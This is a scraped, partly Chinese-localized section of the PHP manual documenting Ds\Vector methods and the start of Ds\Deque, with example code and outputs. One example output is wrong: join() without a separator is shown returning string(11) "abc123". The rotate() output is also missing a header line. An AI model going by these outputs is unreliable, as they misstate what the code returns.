  • Creates a new vector using a callable to determine which values to include

Ds\Vector::filter

(PECL ds >= 1.0.0)

Ds\Vector::filter — Creates a new vector using a callable to determine which values to include

说明

public Ds\Vector::filter(callable $callback = ?): Ds\Vector

Creates a new vector using a callable to determine which values to include.

参数

callback

callback(mixed $value): bool

Optional callable which returns true if the value should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返回值

A new vector containing all the values for which either the callback returned true, or all values that convert to true if a callback was not provided.

示例

Example #1 Ds\Vector::filter() example using callback function

<?php
$vector = new \Ds\Vector([1, 2, 3, 4, 5]);

var_dump($vector->filter(function($value) {
return $value % 2 == 0;
}));
?>

以上示例的输出类似于：

object(Ds\Vector)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

Example #2 Ds\Vector::filter() example without a callback function

<?php
$vector = new \Ds\Vector([0, 1, 'a', true, false]);

var_dump($vector->filter());
?>

以上示例的输出类似于：

object(Ds\Vector)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Attempts to find a value's index

  • ? Ds\Vector::filter
  • Ds\Vector::first ?
  • PHP Manual
  • Ds\Vector
  • Attempts to find a value's index

Ds\Vector::find

(PECL ds >= 1.0.0)

Ds\Vector::find — Attempts to find a value's index

说明

public Ds\Vector::find(mixed $value): mixed

Returns the index of the value, or false if not found.

参数

value

The value to find.

返回值

The index of the value, or false if not found.

Note:

Values will be compared by value and by type.

示例

Example #1 Ds\Vector::find() example

<?php
$vector = new \Ds\Vector(["a", 1, true]);

var_dump($vector->find("a")); // 0
var_dump($vector->find("b")); // false
var_dump($vector->find("1")); // false
var_dump($vector->find(1)); // 1
?>

以上示例的输出类似于：

int(0)
bool(false)
bool(false)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the first value in the vector

  • ? Ds\Vector::find
  • Ds\Vector::get ?
  • PHP Manual
  • Ds\Vector
  • Returns the first value in the vector

Ds\Vector::first

(PECL ds >= 1.0.0)

Ds\Vector::first — Returns the first value in the vector

说明

public Ds\Vector::first(): mixed

Returns the first value in the vector.

参数

此函数没有参数。

返回值

The first value in the vector.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Vector::first() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector->first());
?>

以上示例的输出类似于：

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at a given index

  • ? Ds\Vector::first
  • Ds\Vector::insert ?
  • PHP Manual
  • Ds\Vector
  • Returns the value at a given index

Ds\Vector::get

(PECL ds >= 1.0.0)

Ds\Vector::get — Returns the value at a given index

说明

public Ds\Vector::get(int $index): mixed

Returns the value at a given index.

参数

index

The index to access, starting at 0.

返回值

The value at the requested index.

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Vector::get() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector->get(0));
var_dump($vector->get(1));
var_dump($vector->get(2));
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

Example #2 Ds\Vector::get() example using array syntax

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector[0]);
var_dump($vector[1]);
var_dump($vector[2]);
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Inserts values at a given index

  • ? Ds\Vector::get
  • Ds\Vector::isEmpty ?
  • PHP Manual
  • Ds\Vector
  • Inserts values at a given index

Ds\Vector::insert

(PECL ds >= 1.0.0)

Ds\Vector::insert — Inserts values at a given index

说明

public Ds\Vector::insert(int $index, mixed ...$values): void

Inserts values into the vector at a given index.

参数

index

The index at which to insert. 0 <= index <= count

Note:

You can insert at the index equal to the number of values.

values

The value or values to insert.

返回值

没有返回值。

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Vector::insert() example

<?php
$vector = new \Ds\Vector();

$vector->insert(0, "e"); // [e]
$vector->insert(1, "f"); // [e, f]
$vector->insert(2, "g"); // [e, f, g]
$vector->insert(0, "a", "b"); // [a, b, e, f, g]
$vector->insert(2, ...["c", "d"]); // [a, b, c, d, e, f, g]

var_dump($vector);
?>

以上示例的输出类似于：

object(Ds\Vector)#1 (7) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "f"
  [6]=>
  string(1) "g"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the vector is empty

  • ? Ds\Vector::insert
  • Ds\Vector::join ?
  • PHP Manual
  • Ds\Vector
  • Returns whether the vector is empty

Ds\Vector::isEmpty

(PECL ds >= 1.0.0)

Ds\Vector::isEmpty — Returns whether the vector is empty

说明

public Ds\Vector::isEmpty(): bool

Returns whether the vector is empty.

参数

此函数没有参数。

返回值

Returns true if the vector is empty, false otherwise.

示例

Example #1 Ds\Vector::isEmpty() example

<?php
$a = new \Ds\Vector([1, 2, 3]);
$b = new \Ds\Vector();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Joins all values together as a string

  • ? Ds\Vector::isEmpty
  • Ds\Vector::jsonSerialize ?
  • PHP Manual
  • Ds\Vector
  • Joins all values together as a string

Ds\Vector::join

(PECL ds >= 1.0.0)

Ds\Vector::join — Joins all values together as a string

说明

public Ds\Vector::join(string $glue = ?): string

Joins all values together as a string using an optional separator between each value.

参数

glue

An optional string to separate each value.

返回值

All values of the vector joined together as a string.

示例

Example #1 Ds\Vector::join() example using a separator string

<?php
$vector = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($vector->join("|"));
?>

以上示例的输出类似于：

string(11) "a|b|c|1|2|3"

Example #2 Ds\Vector::join() example without a separator string

<?php
$vector = new \Ds\Vector(["a", "b", "c", 1, 2, 3]);

var_dump($vector->join());
?>

以上示例的输出类似于：

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? Ds\Vector::join
  • Ds\Vector::last ?
  • PHP Manual
  • Ds\Vector
  • Returns a representation that can be converted to JSON

Ds\Vector::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Vector::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

Note:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the last value

  • ? Ds\Vector::jsonSerialize
  • Ds\Vector::map ?
  • PHP Manual
  • Ds\Vector
  • Returns the last value

Ds\Vector::last

(PECL ds >= 1.0.0)

Ds\Vector::last — Returns the last value

说明

public Ds\Vector::last(): mixed

Returns the last value in the vector.

参数

此函数没有参数。

返回值

The last value in the vector.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Vector::last() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector->last());
?>

以上示例的输出类似于：

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of applying a callback to each value

  • ? Ds\Vector::last
  • Ds\Vector::merge ?
  • PHP Manual
  • Ds\Vector
  • Returns the result of applying a callback to each value

Ds\Vector::map

(PECL ds >= 1.0.0)

Ds\Vector::map — Returns the result of applying a callback to each value

说明

public Ds\Vector::map(callable $callback): Ds\Vector

Returns the result of applying a callback function to each value in the vector.

参数

callback

callback(mixed $value): mixed

A callable to apply to each value in the vector.

The callable should return what the new value will be in the new vector.

返回值

The result of applying a callback to each value in the vector.

Note:

The values of the current instance won't be affected.

示例

Example #1 Ds\Vector::map() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

print_r($vector->map(function($value) { return $value * 2; }));
print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)
Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given values to the vector

  • ? Ds\Vector::map
  • Ds\Vector::pop ?
  • PHP Manual
  • Ds\Vector
  • Returns the result of adding all given values to the vector

Ds\Vector::merge

(PECL ds >= 1.0.0)

Ds\Vector::merge — Returns the result of adding all given values to the vector

说明

public Ds\Vector::merge(mixed $values): Ds\Vector

Returns the result of adding all given values to the vector.

参数

values

A traversable object or an array.

返回值

The result of adding all given values to the vector, effectively the same as adding the values to a copy, then returning that copy.

Note:

The current instance won't be affected.

示例

Example #1 Ds\Vector::merge() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->merge([4, 5, 6]));
var_dump($vector);
?>

以上示例的输出类似于：

object(Ds\Vector)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
}
object(Ds\Vector)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the last value

  • ? Ds\Vector::merge
  • Ds\Vector::push ?
  • PHP Manual
  • Ds\Vector
  • Removes and returns the last value

Ds\Vector::pop

(PECL ds >= 1.0.0)

Ds\Vector::pop — Removes and returns the last value

说明

public Ds\Vector::pop(): mixed

Removes and returns the last value.

参数

此函数没有参数。

返回值

The removed last value.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Vector::pop() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->pop());
var_dump($vector->pop());
var_dump($vector->pop());
?>

以上示例的输出类似于：

int(3)
int(2)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the end of the vector

  • ? Ds\Vector::pop
  • Ds\Vector::reduce ?
  • PHP Manual
  • Ds\Vector
  • Adds values to the end of the vector

Ds\Vector::push

(PECL ds >= 1.0.0)

Ds\Vector::push — Adds values to the end of the vector

说明

public Ds\Vector::push(mixed ...$values): void

Adds values to the end of the vector.

参数

values

The values to add.

返回值

没有返回值。

示例

Example #1 Ds\Vector::push() example

<?php
$vector = new \Ds\Vector();

$vector->push("a");
$vector->push("b");
$vector->push("c", "d");
$vector->push(...["e", "f"]);

print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Reduces the vector to a single value using a callback function

  • ? Ds\Vector::push
  • Ds\Vector::remove ?
  • PHP Manual
  • Ds\Vector
  • Reduces the vector to a single value using a callback function

Ds\Vector::reduce

(PECL ds >= 1.0.0)

Ds\Vector::reduce — Reduces the vector to a single value using a callback function

说明

public Ds\Vector::reduce(callable $callback, mixed $initial = ?): mixed

Reduces the vector to a single value using a callback function.

参数

callback
callback(mixed $carry, mixed $value): mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返回值

The return value of the final callback.

示例

Example #1 Ds\Vector::reduce() with initial value example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

$callback = function($carry, $value) {
return $carry * $value;
};

var_dump($vector->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

以上示例的输出类似于：

int(30)

Example #2 Ds\Vector::reduce() without an initial value example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->reduce(function($carry, $value) {
return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

以上示例的输出类似于：

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns a value by index

  • ? Ds\Vector::reduce
  • Ds\Vector::reverse ?
  • PHP Manual
  • Ds\Vector
  • Removes and returns a value by index

Ds\Vector::remove

(PECL ds >= 1.0.0)

Ds\Vector::remove — Removes and returns a value by index

说明

public Ds\Vector::remove(int $index): mixed

Removes and returns a value by index.

参数

index

The index of the value to remove.

返回值

The value that was removed.

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Vector::remove() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector->remove(1));
var_dump($vector->remove(0));
var_dump($vector->remove(0));
?>

以上示例的输出类似于：

string(1) "b"
string(1) "a"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Reverses the vector in-place

  • ? Ds\Vector::remove
  • Ds\Vector::reversed ?
  • PHP Manual
  • Ds\Vector
  • Reverses the vector in-place

Ds\Vector::reverse

(PECL ds >= 1.0.0)

Ds\Vector::reverse — Reverses the vector in-place

说明

public Ds\Vector::reverse(): void

Reverses the vector in-place.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Vector::reverse() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);
$vector->reverse();

print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ? Ds\Vector::reverse
  • Ds\Vector::rotate ?
  • PHP Manual
  • Ds\Vector
  • Returns a reversed copy

Ds\Vector::reversed

(PECL ds >= 1.0.0)

Ds\Vector::reversed — Returns a reversed copy

说明

public Ds\Vector::reversed(): Ds\Vector

Returns a reversed copy of the vector.

参数

此函数没有参数。

返回值

A reversed copy of the vector.

Note:

The current instance is not affected.

示例

Example #1 Ds\Vector::reversed() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

print_r($vector->reversed());
print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Vector Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Rotates the vector by a given number of rotations

  • ? Ds\Vector::reversed
  • Ds\Vector::set ?
  • PHP Manual
  • Ds\Vector
  • Rotates the vector by a given number of rotations

Ds\Vector::rotate

(PECL ds >= 1.0.0)

Ds\Vector::rotate — Rotates the vector by a given number of rotations

说明

public Ds\Vector::rotate(int $rotations): void

Rotates the vector by a given number of rotations, which is equivalent to successively calling $vector->push($vector->shift()) if the number of rotations is positive, or $vector->unshift($vector->pop()) if negative.

参数

rotations

The number of times the vector should be rotated.

返回值

没有返回值。. The vector of the current instance will be rotated.

示例

Example #1 Ds\Vector::rotate() example

<?php
$vector = new \Ds\Vector(["a", "b", "c", "d"]);

$vector->rotate(1); // "a" is shifted, then pushed.
print_r($vector);

$vector->rotate(2); // "b" and "c" are both shifted, the pushed.
print_r($vector);
?>

以上示例的输出类似于：

(
    [0] => b
    [1] => c
    [2] => d
    [3] => a
)
Ds\Vector Object
(
    [0] => d
    [1] => a
    [2] => b
    [3] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Updates a value at a given index

  • ? Ds\Vector::rotate
  • Ds\Vector::shift ?
  • PHP Manual
  • Ds\Vector
  • Updates a value at a given index

Ds\Vector::set

(PECL ds >= 1.0.0)

Ds\Vector::set — Updates a value at a given index

说明

public Ds\Vector::set(int $index, mixed $value): void

Updates a value at a given index.

参数

index

The index of the value to update.

value

The new value.

返回值

没有返回值。

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Vector::set() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

$vector->set(1, "_");
print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

Example #2 Ds\Vector::set() example using array syntax

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

$vector[1] = "_";
print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => a
    [1] => _
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the first value

  • ? Ds\Vector::set
  • Ds\Vector::slice ?
  • PHP Manual
  • Ds\Vector
  • Removes and returns the first value

Ds\Vector::shift

(PECL ds >= 1.0.0)

Ds\Vector::shift — Removes and returns the first value

说明

public Ds\Vector::shift(): mixed

Removes and returns the first value.

参数

此函数没有参数。

返回值

The first value, which was removed.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Vector::shift() example

<?php
$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector->shift());
var_dump($vector->shift());
var_dump($vector->shift());
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Returns a sub-vector of a given range

  • ? Ds\Vector::shift
  • Ds\Vector::sort ?
  • PHP Manual
  • Ds\Vector
  • Returns a sub-vector of a given range

Ds\Vector::slice

(PECL ds >= 1.0.0)

Ds\Vector::slice — Returns a sub-vector of a given range

说明

public Ds\Vector::slice(int $index, int $length = ?): Ds\Vector

Creates a sub-vector of a given range.

参数

index

The index at which the sub-vector starts.

If positive, the vector will start at that index in the vector. If negative, the vector will start that far from the end.

length

If a length is given and is positive, the resulting vector will have up to that many values in it. If the length results in an overflow, only values up to the end of the vector will be included. If a length is given and is negative, the vector will stop that many values from the end. If a length is not provided, the resulting vector will contain all values between the index and the end of the vector.

返回值

A sub-vector of the given range.

示例

Example #1 Ds\Vector::slice() example

<?php
$vector = new \Ds\Vector(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($vector->slice(2));

// Slice from 1, for a length of 3
print_r($vector->slice(1, 3));

// Slice from 1 onwards
print_r($vector->slice(1));

// Slice from 2 from the end onwards
print_r($vector->slice(-2));

// Slice from 1 to 1 from the end
print_r($vector->slice(1, -1));
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Vector Object
(
    [0] => d
    [1] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the vector in-place

  • ? Ds\Vector::slice
  • Ds\Vector::sorted ?
  • PHP Manual
  • Ds\Vector
  • Sorts the vector in-place

Ds\Vector::sort

(PECL ds >= 1.0.0)

Ds\Vector::sort — Sorts the vector in-place

说明

public Ds\Vector::sort(callable $comparator = ?): void

Sorts the vector in-place, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

没有返回值。

示例

Example #1 Ds\Vector::sort() example

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);
$vector->sort();

print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Example #2 Ds\Vector::sort() example using a comparator

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);

$vector->sort(function($a, $b) {
return $b <=> $a;
});

print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sorted copy

  • ? Ds\Vector::sort
  • Ds\Vector::sum ?
  • PHP Manual
  • Ds\Vector
  • Returns a sorted copy

Ds\Vector::sorted

(PECL ds >= 1.0.0)

Ds\Vector::sorted — Returns a sorted copy

说明

public Ds\Vector::sorted(callable $comparator = ?): Ds\Vector

Returns a sorted copy, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

Returns a sorted copy of the vector.

示例

Example #1 Ds\Vector::sorted() example

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);

print_r($vector->sorted());
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Example #2 Ds\Vector::sorted() example using a comparator

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);

$sorted = $vector->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the vector

  • ? Ds\Vector::sorted
  • Ds\Vector::toArray ?
  • PHP Manual
  • Ds\Vector
  • Returns the sum of all values in the vector

Ds\Vector::sum

(PECL ds >= 1.0.0)

Ds\Vector::sum — Returns the sum of all values in the vector

说明

public Ds\Vector::sum(): int|float

Returns the sum of all values in the vector.

Note:

Arrays and objects are considered equal to zero when calculating the sum.

参数

此函数没有参数。

返回值

The sum of all the values in the vector as either a float or int depending on the values in the vector.

示例

Example #1 Ds\Vector::sum() integer example

<?php
$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector->sum());
?>

以上示例的输出类似于：

int(6)

Example #2 Ds\Vector::sum() float example

<?php
$vector = new \Ds\Vector([1, 2.5, 3]);
var_dump($vector->sum());
?>

以上示例的输出类似于：

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Converts the vector to an array

  • ? Ds\Vector::sum
  • Ds\Vector::unshift ?
  • PHP Manual
  • Ds\Vector
  • Converts the vector to an array

Ds\Vector::toArray

(PECL ds >= 1.0.0)

Ds\Vector::toArray — Converts the vector to an array

说明

public Ds\Vector::toArray(): array

Converts the vector to an array.

Note:

Casting to an array is not supported yet.

参数

此函数没有参数。

返回值

An array containing all the values in the same order as the vector.

示例

Example #1 Ds\Vector::toArray() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->toArray());
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the front of the vector

  • ? Ds\Vector::toArray
  • Ds\Deque ?
  • PHP Manual
  • Ds\Vector
  • Adds values to the front of the vector

Ds\Vector::unshift

(PECL ds >= 1.0.0)

Ds\Vector::unshift — Adds values to the front of the vector

说明

public Ds\Vector::unshift(mixed $values = ?): void

Adds values to the front of the vector, moving all the current values forward to make room for the new values.

参数

values

The values to add to the front of the vector.

Note:

Multiple values will be added in the same order that they are passed.

返回值

没有返回值。

示例

Example #1 Ds\Vector::unshift() example

<?php
$vector = new \Ds\Vector([1, 2, 3]);

$vector->unshift("a");
$vector->unshift("b", "c");

print_r($vector);
?>

以上示例的输出类似于：

Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => a
    [3] => 1
    [4] => 2
    [5] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


The Deque class

(PECL ds >= 1.0.0)

简介

A Deque (pronounced "deck") is a sequence of values in a contiguous buffer that grows and shrinks automatically. The name is a common abbreviation of "double-ended queue" and is used internally by Ds\Queue.

Two pointers are used to keep track of a head and a tail. The pointers can "wrap around" the end of the buffer, which avoids the need to move other values around to make room. This makes shift and unshift very fast?—? something a Ds\Vector can't compete with.

Accessing a value by index requires a translation between the index and its corresponding position in the buffer: ((head + position) % capacity).

Strengths

  • Supports array syntax (square brackets).
  • Uses less overall memory than an array for the same number of values.
  • Automatically frees allocated memory when its size drops low enough.
  • get(),
set(),
push(),
pop(),
shift(), and
unshift() are all O(1).

Weaknesses

  • Capacity must be a power of 2.
  • insert() and remove() are O(n).

类摘要

class Ds\Deque implements Ds\Sequence, ArrayAccess {
/* 常量 */
const int MIN_CAPACITY = 8;
/* 方法 */
public allocate(int $capacity): void
public apply(callable $callback): void
public capacity(): int
public clear(): void
public contains(mixed ...$values): bool
public copy(): Ds\Deque
public filter(callable $callback = ?): Ds\Deque
public find(mixed $value): mixed
public first(): mixed
public get(int $index): mixed
public insert(int $index, mixed ...$values): void
public isEmpty(): bool
public join(string $glue = ?): string
public last(): mixed
public map(callable $callback): Ds\Deque
public merge(mixed $values): Ds\Deque
public pop(): mixed
public push(mixed ...$values): void
public reduce(callable $callback, mixed $initial = ?): mixed
public remove(int $index): mixed
public reverse(): void
public reversed(): Ds\Deque
public rotate(int $rotations): void
public set(int $index, mixed $value): void
public shift(): mixed
public slice(int $index, int $length = ?): Ds\Deque
public sort(callable $comparator = ?): void
public sorted(callable $comparator = ?): Ds\Deque
public sum(): int|float
public toArray(): array
public unshift(mixed $values = ?): void
}

预定义常量

Ds\Deque::MIN_CAPACITY

更新日志

版本 | 说明
PECL ds 1.3.0 | The class now implements ArrayAccess.

Table of Contents

  • Ds\Deque::allocate — Allocates enough memory for a required capacity
  • Ds\Deque::apply — Updates all values by applying a callback function to each value
  • Ds\Deque::capacity — Returns the current capacity
  • Ds\Deque::clear — Removes all values from the deque
  • Ds\Deque::__construct — Creates a new instance
  • Ds\Deque::contains — Determines if the deque contains given values
  • Ds\Deque::copy — Returns a shallow copy of the deque
  • Ds\Deque::count — Returns the number of values in the collection
  • Ds\Deque::filter — Creates a new deque using a callable to determine which values to include
  • Ds\Deque::find — Attempts to find a value's index
  • Ds\Deque::first — Returns the first value in the deque
  • Ds\Deque::get — Returns the value at a given index
  • Ds\Deque::insert — Inserts values at a given index
  • Ds\Deque::isEmpty — Returns whether the deque is empty
  • Ds\Deque::join — Joins all values together as a string
  • Ds\Deque::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Deque::last — Returns the last value
  • Ds\Deque::map — Returns the result of applying a callback to each value
  • Ds\Deque::merge — Returns the result of adding all given values to the deque
  • Ds\Deque::pop — Removes and returns the last value
  • Ds\Deque::push — Adds values to the end of the deque
  • Ds\Deque::reduce — Reduces the deque to a single value using a callback function
  • Ds\Deque::remove — Removes and returns a value by index
  • Ds\Deque::reverse — Reverses the deque in-place
  • Ds\Deque::reversed — Returns a reversed copy
  • Ds\Deque::rotate — Rotates the deque by a given number of rotations
  • Ds\Deque::set — Updates a value at a given index
  • Ds\Deque::shift — Removes and returns the first value
  • Ds\Deque::slice — Returns a sub-deque of a given range
  • Ds\Deque::sort — Sorts the deque in-place
  • Ds\Deque::sorted — Returns a sorted copy
  • Ds\Deque::sum — Returns the sum of all values in the deque
  • Ds\Deque::toArray — Converts the deque to an array
  • Ds\Deque::unshift — Adds values to the front of the deque

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ? Ds\Deque
  • Ds\Deque::apply ?
  • PHP Manual
  • Ds\Deque
  • Allocates enough memory for a required capacity

Ds\Deque::allocate

(PECL ds >= 1.0.0)

Ds\Deque::allocate — Allocates enough memory for a required capacity

说明

public Ds\Deque::allocate(int $capacity): void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

参数

capacity

The number of values for which capacity should be allocated.

Note:

Capacity will stay the same if this value is less than or equal to the current capacity.

Note:

Capacity will always be rounded up to the nearest power of 2.

返回值

没有返回值。

示例

Example #1 Ds\Deque::allocate() example

<?php
$deque = new \Ds\Deque();
var_dump($deque->capacity());

$deque->allocate(100);
var_dump($deque->capacity());
?>

以上示例的输出类似于：

int(8)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Updates all values by applying a callback function to each value

  • ? Ds\Deque::allocate
  • Ds\Deque::capacity ?
  • PHP Manual
  • Ds\Deque
  • Updates all values by applying a callback function to each value

Ds\Deque::apply

(PECL ds >= 1.0.0)

Ds\Deque::apply — Updates all values by applying a callback function to each value

说明

public Ds\Deque::apply(callable $callback): void

Updates all values by applying a callback function to each value in the deque.

参数

callback

callback(mixed $value): mixed

A callable to apply to each value in the deque.

The callback should return what the value should be replaced by.

返回值

没有返回值。

示例

Example #1 Ds\Deque::apply() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
$deque->apply(function($value) { return $value * 2; });

print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ? Ds\Deque::apply
  • Ds\Deque::clear ?
  • PHP Manual
  • Ds\Deque
  • Returns the current capacity

Ds\Deque::capacity

(PECL ds >= 1.0.0)

Ds\Deque::capacity — Returns the current capacity

说明

public Ds\Deque::capacity(): int

Returns the current capacity.

参数

此函数没有参数。

返回值

The current capacity.

示例

Example #1 Ds\Deque::capacity() example

<?php
$deque = new \Ds\Deque();
var_dump($deque->capacity());

$deque->push(...range(1, 50));
var_dump($deque->capacity());
?>

以上示例的输出类似于：

int(8)
int(64)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values from the deque

  • ? Ds\Deque::capacity
  • Ds\Deque::__construct ?
  • PHP Manual
  • Ds\Deque
  • Removes all values from the deque

Ds\Deque::clear

(PECL ds >= 1.0.0)

Ds\Deque::clear — Removes all values from the deque

说明

public Ds\Deque::clear(): void

Removes all values from the deque.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Deque::clear() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
print_r($deque);

$deque->clear();
print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Deque Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ? Ds\Deque::clear
  • Ds\Deque::contains ?
  • PHP Manual
  • Ds\Deque
